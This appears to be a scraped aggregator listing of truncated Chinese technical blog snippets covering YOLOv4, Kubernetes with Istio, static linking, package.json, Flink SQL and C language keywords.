Paper Yolo v4: https://arxiv.org/abs/2004.10934 Scaled-YOLOv4: Scaling Cross Stage Partial Network Source code:https://github.com/AlexeyAB/darknet Bag of Freebies(BoF) 只增加训练成本&#xff0c;但是能显著提高精度&#xff0c;并不影响推理速度&#xff1b;数据…

Kubernetes使用Istio

Kubernetes使用Istio 1、基本概念 1.1、流量方向 南北流量&#xff08;NORTH-SOURTH-TRAFFIC&#xff09;&#xff1a;客户端到服务器之间通信的流量 东西流量(EAST-WEST-TRAFFIC)&#xff1a;指的是服务器和服务器之间的流量 1.2、Service Mesh 2、安装Istio 2.1、下载 …

【编译、链接、装载九】静态链接

【编译和链接九】静态链接 一、demo二、空间与地址分配1、相似段合并 三、即虚拟地址VMA&#xff08;Virtual Memory Address&#xff09;四、重定位1、add调用2、printf调用——同add2、shared 五、重定位表六、符号解析七、c相关问题1、重复代码消除2、全局构造与析构3、C与A…

从创建到维护:掌握package.json的最佳实践

文章目录 I. 介绍什么是package.jsonpackage.json的作用npm与package.json的关系 II. 创建package.jsonnpm init自动生成package.jsonpackage.json各个字段的含义 III. dependencies和devDependenciesdependencies和devDependencies的区别安装依赖包安装依赖包的版本更新依赖包…

Flink 学习十 FlinkSQL

Flink 学习十 Flink SQL 1. FlinkSQL 基础概念 flink sql 基于flink core ,使用sql 语义方便快捷的进行结构化数据处理的上层库; 类似理解sparksql 和sparkcore , hive和mapreduce 1.1 工作流程 整体架构和工作流程 数据流,绑定元数据 schema ,注册成catalog 中的表 table …

【C语言复习】第七篇、关于C语言关键字的知识

目录 第一部分、常见关键字 1、数据类型关键字 2、流程控制类关键字 第二部分、常用的关键字 1、typedef&#xff08;类型重定义/类型重命名&#xff09; 2、static&#xff08;易混淆const&#xff09; 2.1、static修饰局部变量 2.2、static修饰全局变量 2.3、static修饰…